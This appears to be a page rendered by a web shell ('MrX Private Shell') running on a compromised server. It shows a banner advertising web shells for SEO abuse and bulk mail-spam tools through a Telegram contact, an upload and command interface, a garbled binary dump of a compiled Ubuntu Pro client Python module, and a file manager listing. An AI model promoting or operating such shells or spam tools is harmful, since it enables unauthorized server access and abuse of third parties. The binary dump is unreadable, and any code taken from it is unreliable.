__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�	��SSKrSSKrSSKJrJrJr SSKJrJrJ	r	J
r
JrJrJ
r
Jr Sr/SQrSrSrSrS	r\	R*"5r\R."\R0"\55r\"S
S\4S\4S
\4S\4S\4/5rS\4SjrS\4SjrS$S\\S\\S\\\ SS4Sjjr!S%S\S\\\ SS4Sjjr"S\S\\4Sjr#S\\4Sjr$Sr%S\RL4Sjr'S&S\S\\S \4S!jjr(S\4S"jr)S\S\4S#jr*g)'�N)�List�
NamedTuple�Optional)�api�apt�event_logger�
exceptions�http�messages�system�utilz
/usr/bin/snap)g�?g�?g@z
proxy.httpzproxy.httpsz/run/snapd.socketz/v2/snaps/{}�SnapPackage�name�version�revision�channel�	publisher�returnc�2�S[R"5;$)z(Returns whether or not snap is installed�snapd)r�get_installed_packages_names���//usr/lib/python3/dist-packages/uaclient/snap.py�is_snapd_installedr's���c�6�6�8�8�8rc�6�[S[555$)z3Returns whether or not snapd is installed as a snapc3�># �UHoRS:Hv� M g7f)rN�r)�.0�snaps  r�	<genexpr>�/is_snapd_installed_as_a_snap.<locals>.<genexpr>.s���G�1F��	�	�W�$�1F�s�)�any�get_installed_snapsrrr�is_snapd_installed_as_a_snapr%,s���G�1D�1F�G�H�Hr�
http_proxy�https_proxy�retry_sleepsc��[5(d[RS5 gU(dU(a0[R	[
RRSS95 U(a([R"SSSSRU5/US9 U(a)[R"SSSS	RU5/US9 gg)
a�
Configure snap to use http and https proxies.

:param http_proxy: http proxy to be used by snap. If None, it will
                   not be configured
:param https_proxy: https proxy to be used by snap. If None, it will
                    not be configured
:param retry_sleeps: Optional list of sleep lengths to apply between
    retries. Specifying a list of [0.5, 1] tells subp to retry twice
    on failure; sleeping half a second before the first retry and 1 second
    before the second retry.
z6Skipping configure snap proxy. snapd is not installed.Nr )�service�setrz
proxy.http={}�r(zproxy.https={})
r�LOG�debug�event�infor�SETTING_SERVICE_PROXY�formatr�subp)r&r'r(s   r�configure_snap_proxyr41s���"����	�	�J�K���[�
�
�
�8�1�1�8�8��8�H�I�����
�U�H�o�&<�&<�Z�&H�I�%�	
�
����
�U�H�&6�&=�&=�k�&J�K�%�	
�r�
protocol_typec��[5(d[RS5 g[R"SSSSRU5/US9 g)ad
Unset snap configuration settings for http and https proxies.

:param protocol_type: String either http or https
:param retry_sleeps: Optional list of sleep lengths to apply between
    retries. Specifying a list of [0.5, 1] tells subp to retry twice
    on failure; sleeping half a second before the first retry and 1 second
    before the second retry.
z8Skipping unconfigure snap proxy. snapd is not installed.Nr �unsetrzproxy.{}r,)rr-r.rr3r2)r5r(s  r�unconfigure_snap_proxyr8VsC������	�	�L�M��
�K�K�	��(�J�$5�$5�m�$D�E�!�r�keyc��[R"SSSU/5upUR5$![Ra gf=f)z�
Gets the config value from snap.
:param protocol: can be any valid snap config option
:return: the value of the snap config option, or None if not set
r �getrN)rr3�stripr	�ProcessExecutionError)r9�out�_s   r�get_config_option_valuer@ksD������f�e�X�s�;�<����y�y�{����+�+����s�+.�A�Ac���[R"/SQ5upUR5nUSSn/nUH0nUR5SnUR	[U55 M2 U$)N)r �listz--color�neverz	--unicoderC�r)rr3�
splitlines�split�append�
get_snap_info)r>r?�apps�snaps�liner s      rr$r$xsd��
�[�[�B��F�C��>�>��D����8�D��E����z�z�|�A���
���]�4�(�)���Lrc���[R[RR	SS95 [
R"[
R"55 [R"/SQ[
RS9 g![Ra)n[RS[U55 SnAN_SnAff=f![R a [R""5ef=f)Nzstandard Ubunturz<Trying to install snapd. Ignoring apt-get update failure: %s)zapt-get�installz--assume-yesrr,)r/r0r�APT_UPDATING_LISTr2r�update_sources_list�get_system_sources_filer	�UbuntuProErrorr-r.�strrr3�APT_RETRIESr=�CannotInstallSnapdError)�es r�
install_snapdrV�s���	�J�J�x�)�)�0�0�6G�0�H�I�
����� ;� ;� =�>�3����;����	
��
�$�$�
��	�	�J���F�	
�	
��
���+�+�3��0�0�2�2�3�s#�)B�%C�B?�B:�:B?�*C,�progressc�T�[R"[SSS/SS9 g![Rasn[
R"S[U5R55(a:[RS5 URS[R5 SnAgeSnAff=f)	N�waitrzseed.loadedT��capturezunknown command .*waitz9Detected version of snapd that does not have wait commandr0)rr3�SNAP_CMDr	r=�re�searchrR�lowerr-�warning�emitr�SNAPD_DOES_NOT_HAVE_WAIT_CMD)rWrUs  r�run_snapd_wait_cmdrc�s{��	����X�v�x��?��N���+�+��
�9�9�.��A�����?�?��K�K�K�
�
�M�M�&�(�"G�"G�H�H����s� �B'�A(B"�!B"�"B'r �classic_confinement_supportc��[SU/nU(aUS/-
nU(aUSRU5/-
n[R"US[S9 g)NrMz	--classicz--channel={}T)r[r()r\r2rr3�SNAP_INSTALL_RETRIES)r rrd�cmds    r�install_snaprh�sO��
�Y��
%�C�"���}������%�%�g�.�/�/��
�K�K���)�rc�<�[R"[SU/SS9 g)N�refreshTrZ)rr3r\�r s r�refresh_snaprl�s��
�K�K��9�d�+�T�:rc
��[RU5n[R"[SU5nUR
S:wa�UR
S:XaCURRS05RS5S:Xa[R"US9eURRS05RS5n[R"US	9eURRS05n[URS
S5URSS5URS
S5URSS5URS05RSS5S9$![a [R"5ef=f)N�GET��i��result�kindzsnap-not-foundrk�message)�errorr�rrrr�username)rrrrr)�SNAPD_SNAPS_APIr2r
�unix_socket_request�SNAPD_SOCKET_PATH�code�	json_dictr;r	�SnapNotInstalledError�UnexpectedSnapdAPIError�ConnectionRefusedError�SnapdAPIConnectionRefusedr)r �url�resp�	error_msg�	snap_infos     rrHrH�sM��
�
 �
 ��
&�C�5��'�'�(9�5�#�F���9�9����	�	�S� ��N�N�&�&�x��4�8�8��@�#�$�!�6�6�D�A�A� �N�N�.�.�x��<�@�@��K�	� �8�8�y�I�I�����"�"�8�R�0�I��
�]�]�6�2�
&��
�
�i��,����z�2�.��
�
�i��,��-�-��R�0�4�4�Z��D����	"�5��2�2�4�4�5�s�B>E� E?)NNN)N)NF)+�loggingr]�typingrrr�uaclientrrrr	r
rrr
r\rf�HTTP_PROXY_OPTION�HTTPS_PROXY_OPTIONrxrv�get_event_loggerr/�	getLogger�replace_top_level_logger_name�__name__r-rRr�boolrr%�floatr4r8r@r$rV�ProgressWrapperrcrhrlrHrrr�<module>r�s����	�-�-�	�	�	���&�� ��"��'�� ���%�%�'��
����:�:�8�D�E����	��
�	�C��	�S��	�C��	�c���	��9�D�9�
I�d�I�!%�!%�*.�"
���
�"
��#��"
��4��;�'�"
�
�	"
�L?C����&.�t�E�{�&;��	��*
��
��#��
��T�+�.��3�$
��!4�!4�
�"�(-��

��
�c�]��"&��(;�s�;�����r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager